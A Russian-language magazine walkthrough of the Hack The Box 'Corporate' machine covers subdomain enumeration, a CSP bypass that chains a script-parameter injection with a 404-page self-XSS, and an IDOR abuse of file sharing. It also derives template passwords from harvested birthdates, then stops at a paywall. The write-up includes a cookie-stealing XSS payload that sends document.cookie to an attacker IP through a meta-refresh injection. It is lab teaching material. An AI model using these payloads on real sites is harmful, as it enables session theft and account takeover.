Содержание статьи
Наша цель — получение прав суперпользователя на машине Corporate с учебной площадки Hack The Box. Уровень сложности — «безумный».
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /
:
10.10.11.246 corporate.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
![Результат работы скрипта Результат работы скрипта](https://static.xakep.ru/images/90a66d93110dd6b71b7841f614f05f0d/36722/02.png)
Сканер нашел всего один открытый порт — 80. На нем отвечает веб‑сервер OpenResty 1.21.4.3. На главной странице нас встречает сайт, а также мы узнаём реальный домен.
![Главная страница сайта Главная страница сайта](https://static.xakep.ru/images/90a66d93110dd6b71b7841f614f05f0d/36723/03.png)
Точка входа
Ниже на странице можно найти ссылку на другой ресурс, расположенный на поддомене.
![Ошибка запроса к support.corporate.htb Ошибка запроса к support.corporate.htb](https://static.xakep.ru/images/90a66d93110dd6b71b7841f614f05f0d/36724/04.png)
Чтобы получить доступ к ресурсу, добавим соответствующую запись в файл /
, а затем повторим обращение к support.
.
10.10.11.246 corporate.htb support.corporate.htb
![Главная страница support.corporate.htb Главная страница support.corporate.htb](https://static.xakep.ru/images/90a66d93110dd6b71b7841f614f05f0d/36725/06.png)
Мы нашли один поддомен, а значит, могут быть и другие. Проверить это легко с помощью сканера ffuf.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-
-w
— словарь (я использую словари из набора SecLists); -
-t
— количество потоков; -
-u
— URL; -
-d
— глубина сканирования; -
-H
— HTTP-заголовок.
Чтобы в вывод утилиты не попадали абсолютно все варианты из списка, можно установить фильтр по размеру страницы (параметр -fs
). Место перебора помечается словом FUZZ.
Команда получается следующая:
ffuf -u "http://corporate.htb/" -H 'Host: FUZZ.corporate.htb' -t 128 -fs 175 -w subdomains-top1million-110000.txt
![Результат сканирования поддоменов Результат сканирования поддоменов](https://static.xakep.ru/images/90a66d93110dd6b71b7841f614f05f0d/36726/07.png)
Так мы открываем три новых поддомена, для которых нужно сделать запись в /
. Затем можем посмотреть соответствующие сайты.
10.10.11.246 corporate.htb support.corporate.htb git.corporate.htb sso.corporate.htb people.corporate.htb
![Главная страница git.corporate.htb Главная страница git.corporate.htb](https://static.xakep.ru/images/90a66d93110dd6b71b7841f614f05f0d/36727/08.png)
![Главная страница sso.corporate.htb Главная страница sso.corporate.htb](https://static.xakep.ru/images/90a66d93110dd6b71b7841f614f05f0d/36728/09.png)
![Главная страница people.corporate.htb Главная страница people.corporate.htb](https://static.xakep.ru/images/90a66d93110dd6b71b7841f614f05f0d/36729/10.png)
К git
доступ получить нельзя, people
требует авторизации, а SSO обеспечивает единый механизм аутентификации для всех ресурсов. Возвращаемся к чату техподдержки и проверяем вставку тегов HTML.
![Страница чата Страница чата](https://static.xakep.ru/images/90a66d93110dd6b71b7841f614f05f0d/36730/11.png)
Нагрузка со словом bolt
, обернутым в тег <
сработала — слово отображено жирным шрифтом. Это значит, что можно попытать удачу с инъекцией XSS.
Точка опоры
XSS bypass CSP
Найти здесь XSS никак не получилось, а все из‑за политики CSP, о которой можно узнать из ответа веб‑сервера.
![Ответ сервера Ответ сервера](https://static.xakep.ru/images/90a66d93110dd6b71b7841f614f05f0d/36731/12.png)
Content Security Policy — это механизм обеспечения безопасности, с помощью которого можно защищаться от XSS-атак. CSP описывает доверенные источники для загрузки ресурсов и устанавливает правила использования встроенных скриптов. Загрузка с ресурсов, не входящих в белый список, блокируется. Таким образом, для эксплуатации XSS нужно найти возможность разместить код на одном из ресурсов corporate.
.
В это время Burp Scanner определил возможность манипуляции содержимым JS-скрипта /
через параметр v
.
![Запрос на сервер Запрос на сервер](https://static.xakep.ru/images/90a66d93110dd6b71b7841f614f05f0d/36732/13.png)
![Ответ сервера Ответ сервера](https://static.xakep.ru/images/90a66d93110dd6b71b7841f614f05f0d/36733/14.png)
Также нашлась возможность менять содержимое страницы 404 главного сайта, что позволяет вставить теги <
и перейти к уязвимости Self-XSS.
![Запрос на сервер Запрос на сервер](https://static.xakep.ru/images/90a66d93110dd6b71b7841f614f05f0d/36734/15.png)
![Ответ сервера Ответ сервера](https://static.xakep.ru/images/90a66d93110dd6b71b7841f614f05f0d/36735/16.png)
Таким образом, в файл /
можно вставить свой JavaScript-код, который будет отправлять на наш сервер cookie пользователя.
http://corporate.htb/assets/js/analytics.min.js?v=document.location=`http://10.10.16.36/${document.cookie}`
![Ответ сервера с нагрузкой Ответ сервера с нагрузкой](https://static.xakep.ru/images/90a66d93110dd6b71b7841f614f05f0d/36736/17.png)
Затем этот скрипт можно загружать в теге <
через страницу 404 главного сайта и приводить нагрузку в действие.
http://corporate.htb/<script+src='/vendor/analytics.min.js'></script><script+src='/assets/js/analytics.min.js?v=document.location=`http://10.10.16.36/${document.cookie}`'></script>
Чтобы пользователь автоматически переходил по этой ссылке, используем HTML-инъекцию тега <
с параметром http-equiv="refresh"
.
<meta http-equiv="refresh" content="0;url=http://corporate.htb/<script+src='/vendor/analytics.min.js'></script><script+src='/assets/js/analytics.min.js?v=document.location=`http://10.10.16.36/${document.cookie}`'></script>">
Запускаем веб‑сервер:
python3 -m http.server
И отправляем нагрузку в чат. Как только пользователь просмотрит сообщение, он автоматически будет перенаправлен на http://
, где через Self-XSS загрузится скрипт /
со встроенной JS-нагрузкой для кражи печенек.
![Логи веб-сервера Логи веб-сервера](https://static.xakep.ru/images/90a66d93110dd6b71b7841f614f05f0d/36737/18.png)
Так как каждый новый чат будет со случайным сотрудником техподдержки, можно получать cookie разных пользователей.
IDOR + Broken Access Control
Чтобы полученные cookie автоматически применялись на всех сайтах, загружаемых через Burp Proxy, нужно открыть настройки прокси и указать их в разделе Match and replace rules.
![Настройки Burp Proxy Настройки Burp Proxy](https://static.xakep.ru/images/90a66d93110dd6b71b7841f614f05f0d/36738/19.png)
![Главная страница сайта People Главная страница сайта People](https://static.xakep.ru/images/90a66d93110dd6b71b7841f614f05f0d/36739/20.png)
На странице Sharing можно найти несколько файлов, в том числе конфиг OpenVPN. Офисные документы ничего интересного не содержат.
![Содержимое страницы Sharing Содержимое страницы Sharing](https://static.xakep.ru/images/90a66d93110dd6b71b7841f614f05f0d/36740/21.png)
Так как обращение к файлу происходит через его идентификатор, стоит перебрать другие значения ID
: доступ к файлам может не контролироваться. Однако в этот раз ничего не получилось. В дополнение к обнаруженному можно отметить функцию, которая позволяет поделиться файлом с другим пользователем.
На странице Chat есть только окно чата для внутренних пользователей. При клике на пользователя можно просмотреть его профиль.
![Содержимое страницы Chat Содержимое страницы Chat](https://static.xakep.ru/images/90a66d93110dd6b71b7841f614f05f0d/36741/22.png)
![Профиль пользователя Профиль пользователя](https://static.xakep.ru/images/90a66d93110dd6b71b7841f614f05f0d/36742/23.png)
Больше на сайте ничего интересного найти не удалось, поэтому вернемся и посмотрим, какие возможности дает загрузка и шеринг файла. Чтобы войти от имени любого другого пользователя, можно украсть рандомные cookie через XSS и применить в Burp Proxy.
![Профиль другого пользователя Профиль другого пользователя](https://static.xakep.ru/images/90a66d93110dd6b71b7841f614f05f0d/36743/24.png)
Через форму загрузки ничего интересного сделать не получилось. А вот чтобы поделиться файлом, серверу нужно указать ID файла и почтовый адрес пользователя, которому будет открыт доступ.
![Файлы пользователя Файлы пользователя](https://static.xakep.ru/images/90a66d93110dd6b71b7841f614f05f0d/36744/25.png)
![Запрос для шеринга файла Запрос для шеринга файла](https://static.xakep.ru/images/90a66d93110dd6b71b7841f614f05f0d/36745/26.png)
Хотя сервер проверяет, можно ли тому или иному пользователю получить доступ к определенному файлу, при шеринге это разрешение может и не действовать. Чтобы попробовать поделиться всеми файлами, можно через Burp Intruder перебрать их ID в запросе на шеринг.
![Burp Intruder — вкладка Positions Burp Intruder — вкладка Positions](https://static.xakep.ru/images/90a66d93110dd6b71b7841f614f05f0d/36746/27.png)
![Burp Intruder — вкладка Payloads Burp Intruder — вкладка Payloads](https://static.xakep.ru/images/90a66d93110dd6b71b7841f614f05f0d/36747/28.png)
Когда все запросы в Burp Intruder выполнены, снова проверяем файлы пользователя и находим там большой список документов.
![Файлы пользователя Файлы пользователя](https://static.xakep.ru/images/90a66d93110dd6b71b7841f614f05f0d/36748/29.png)
Среди бесполезных файлов DOCX есть один интересный файл в формате PDF.
Сбор информации
В PDF есть шаблон устанавливаемых для пользователей паролей. Пароли составляются по простой схеме: строка CorporateStarter
и дата рождения пользователя.
![Содержимое документа PDF Содержимое документа PDF](https://static.xakep.ru/images/90a66d93110dd6b71b7841f614f05f0d/36749/30.png)
Дату рождения пользователя легко найти в его профиле. Можем через Burp Intruder перебрать профили всех пользователей и выбрать на страницах их имена и даты рождения.
![Burp Intruder — вкладка Positions Burp Intruder — вкладка Positions](https://static.xakep.ru/images/90a66d93110dd6b71b7841f614f05f0d/36750/31.png)
![Burp Intruder — вкладка Payloads Burp Intruder — вкладка Payloads](https://static.xakep.ru/images/90a66d93110dd6b71b7841f614f05f0d/36751/32.png)
Для выбора имени пользователя и даты рождения следует использовать опцию Grep-Extract
.
![Выбор имени пользователя Выбор имени пользователя](https://static.xakep.ru/images/90a66d93110dd6b71b7841f614f05f0d/36752/33.png)
![Выбор даты рождения Выбор даты рождения](https://static.xakep.ru/images/90a66d93110dd6b71b7841f614f05f0d/36753/34.png)
![Результат атаки Результат атаки](https://static.xakep.ru/images/90a66d93110dd6b71b7841f614f05f0d/36754/35.png)
Получаем таблицу с данными, и теперь нужно выбрать результаты для всех пользователей. Сохраняем и в появившемся окне выбираем только столбцы с именами и датами рождения. В качестве разделителя выбираем запятую.
![Сохранение результатов Сохранение результатов](https://static.xakep.ru/images/90a66d93110dd6b71b7841f614f05f0d/36755/36.png)
Теперь нужно найти сервисы, в которые можно попытаться залогиниться. Подключаемся к VPN, используя скачанный конфиг, и просматриваем добавленные маршруты. Это нужно для определения новых сетей, к которым открывается доступ.
sudo openvpn candido-hackett.ovpn
![Логи OpenVPN Логи OpenVPN](https://static.xakep.ru/images/90a66d93110dd6b71b7841f614f05f0d/36756/37.png)
Нам доступны сети 10.
и 10.
. Сначала просканируем их и найдем живые хосты. Nmap с опцией -sn
выполнит перебор всех хостов в сети.
nmap -sn 10.8.0.0/24 --min-rate=200
![Результат сканирования сети 10.8.0.0/24 Результат сканирования сети 10.8.0.0/24](https://static.xakep.ru/images/90a66d93110dd6b71b7841f614f05f0d/36757/38.png)
nmap -sn 10.9.0.0/24 --min-rate=500
![Результат сканирования сети 10.9.0.0/24 Результат сканирования сети 10.9.0.0/24](https://static.xakep.ru/images/90a66d93110dd6b71b7841f614f05f0d/36758/39.png)
Теперь нужно просканировать порты на найденных хостах. Для этого используем уже знакомый скрипт, который я приводил в начале статьи.
![Результат сканирования портов хоста 10.8.0.1 Результат сканирования портов хоста 10.8.0.1](https://static.xakep.ru/images/90a66d93110dd6b71b7841f614f05f0d/36759/40.png)
![Результат сканирования портов хоста 10.9.0.4 Результат сканирования портов хоста 10.9.0.4](https://static.xakep.ru/images/90a66d93110dd6b71b7841f614f05f0d/36760/41.png)
Адреса 10.
и 10.
принадлежат одному хосту, поэтому далее работать будем только с одним из них.
Шаблонные пароли
На хосте 10.9.0.4 работают службы SSH (порт 22) и NFS (порт 111). Первым делом нужно перебрать учетные данные на SSH. Но сперва надо собрать списки логинов и паролей.
Продолжение доступно только участникам
Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».
Присоединяйся к сообществу «Xakep.ru»!
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее